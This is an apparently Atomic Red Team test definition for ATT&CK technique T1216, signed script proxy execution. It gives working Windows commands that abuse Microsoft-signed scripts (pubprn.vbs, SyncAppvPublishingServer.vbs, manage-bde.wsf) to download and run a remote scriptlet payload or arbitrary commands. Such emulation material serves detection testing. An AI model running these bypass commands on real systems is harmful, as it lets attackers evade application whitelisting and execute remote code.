T1216.md

T1216 - Signed Script Proxy Execution

Description from ATT&CK

Scripts signed with trusted certificates can be used to proxy execution of malicious files. This behavior may bypass signature validation restrictions and application whitelisting solutions that do not account for use of these scripts.

PubPrn.vbs is signed by Microsoft and can be used to proxy execution from a remote site. (Citation: Enigma0x3 PubPrn Bypass) Example command: cscript C[:]\Windows\System32\Printing_Admin_Scripts\en-US\pubprn[.]vbs 127.0.0.1 script:http[:]//192.168.1.100/hi.png

There are several other signed scripts that may be used in a similar manner. (Citation: GitHub Ultimate AppLocker Bypass List)

Atomic Tests

• Atomic Test #1 - PubPrn.vbs Signed Script Bypass

• Atomic Test #2 - SyncAppvPublishingServer Signed Script PowerShell Command Execution

• Atomic Test #3 - manage-bde.wsf Signed Script Command Execution

Atomic Test #1 - PubPrn.vbs Signed Script Bypass

Executes the signed PubPrn.vbs script with options to download and execute an arbitrary payload.

Supported Platforms: Windows

Inputs:

Name	Description	Type	Default Value
remote_payload	A remote payload to execute using PubPrn.vbs.	Url	https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1216/src/T1216.sct

Attack Commands: Run with command_prompt!

cscript.exe /b C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs localhost "script:#{remote_payload}"

Atomic Test #2 - SyncAppvPublishingServer Signed Script PowerShell Command Execution

Executes the signed SyncAppvPublishingServer script with options to execute an arbitrary PowerShell command.

Supported Platforms: Windows

Inputs:

Name	Description	Type	Default Value
command_to_execute	A PowerShell command to execute.	string	Start-Process calc

Attack Commands: Run with command_prompt!

C:\windows\system32\SyncAppvPublishingServer.vbs "\n;#{command_to_execute}"

Atomic Test #3 - manage-bde.wsf Signed Script Command Execution

Executes the signed manage-bde.wsf script with options to execute an arbitrary command.

Supported Platforms: Windows

Inputs:

Name	Description	Type	Default Value
command_to_execute	A command to execute.	Path	C:\Windows\System32\calc.exe

Attack Commands: Run with command_prompt!

set comspec=#{command_to_execute}
cscript manage-bde.wsf

Cleanup Commands:

set comspec=C:\Windows\System32\cmd.exe